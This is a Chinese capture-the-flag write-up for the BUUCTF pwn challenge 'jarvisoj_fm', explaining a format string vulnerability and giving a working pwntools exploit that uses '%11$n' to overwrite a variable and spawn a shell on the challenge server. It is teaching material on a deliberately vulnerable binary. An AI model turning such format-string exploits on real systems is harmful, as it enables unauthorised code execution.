zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——jarvisoj_fm

    jarvisoj_fm

    附件

    步骤:

    1. 例行检查,32位,开启了canary和nx保护
      在这里插入图片描述

    2. 运行一下程序,看看大概的情况 在这里插入图片描述

    3. 32位ida载入,shift+f12检索程序里的字符串,看见了 " /bin/sh " 字符串
      在这里插入图片描述

    4. 双击跟进,找到程序主体,当x=4的时候会执行system(/bin/sh)
      在这里插入图片描述
      第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4
      x_addr=0x804A02C
      在这里插入图片描述

    5. 来找一下输入点的参数在栈上存储的位置,手动输入计算得到偏移为11
      在这里插入图片描述
      利用x的地址配合上%11$n 将x修改为4

    payload=p32(x_addr)+"%11$n"
    

    稍微解释一下payload,首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,不需要添a来补齐位数就可以直接利用,将x参数的地址的值改成了4,获取了shell

    完整exp

    from pwn import *
    
    r=remote('node3.buuoj.cn',25582)
    x_addr=0x804A02C
    
    payload=p32(x_addr)+"%11$n"
    
    r.sendline(payload)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    个人冲刺第七天6.15
    个人冲刺第六天6.14
    个人冲刺第五天6.11
    个人冲刺第四天6.10
    个人冲刺第三天6.9
    个人冲刺第二天6.8
    个人冲刺第一天6.7
    每日总结6.4
    oracle中CAST函数使用简介【转】
    rabbitmq安装
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273685.html
Copyright © 2011-2022 走看看